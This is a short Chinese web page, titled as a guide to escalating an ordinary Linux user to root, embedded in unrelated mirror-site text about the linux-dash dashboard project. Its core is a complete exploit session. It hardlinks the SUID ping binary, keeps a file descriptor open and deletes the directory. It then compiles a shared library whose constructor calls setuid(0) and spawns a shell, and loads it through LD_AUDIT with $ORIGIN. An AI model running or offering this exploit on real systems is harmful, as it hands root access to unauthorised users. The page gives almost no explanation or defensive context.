linux普通用户提权root
linux-dash
A beautiful web dashboard for Linux
项目地址:https://gitcode.com/gh_mirrors/li/linux-dash
免费下载资源
·
用普通用户boy作为测试对象
[boy@localhost ~]$ mkdir /tmp/exploit
[boy@localhost ~]$ ln /bin/ping /tmp/exploit/target #使用ping命令的suid特性创建一个链接
[boy@localhost ~]$ exec 3< /tmp/exploit/target #调用命令
[boy@localhost ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target
[boy@localhost ~]$ rm -rf /tmp/exploit/
[boy@localhost ~]$ ls -l /proc/$$/fd/3
[boy@localhost ~]$ vim payload.c
void __attribute__((constructor)) init() //在配置文件加入如下的内容
{
setuid(0);
system("/bin/bash");
}
[boy@localhost ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[boy@localhost ~]$ ls -l /tmp/exploit
[boy@localhost ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
GitHub 加速计划 / li / linux-dash
10.39 K
1.2 K
下载
A beautiful web dashboard for Linux
最近提交(Master分支:2 个月前 )
186a802e
added ecosystem file for PM2 4 年前
5def40a3
Add host customization support for the NodeJS version 4 年前
更多推荐
已为社区贡献4条内容
所有评论(0)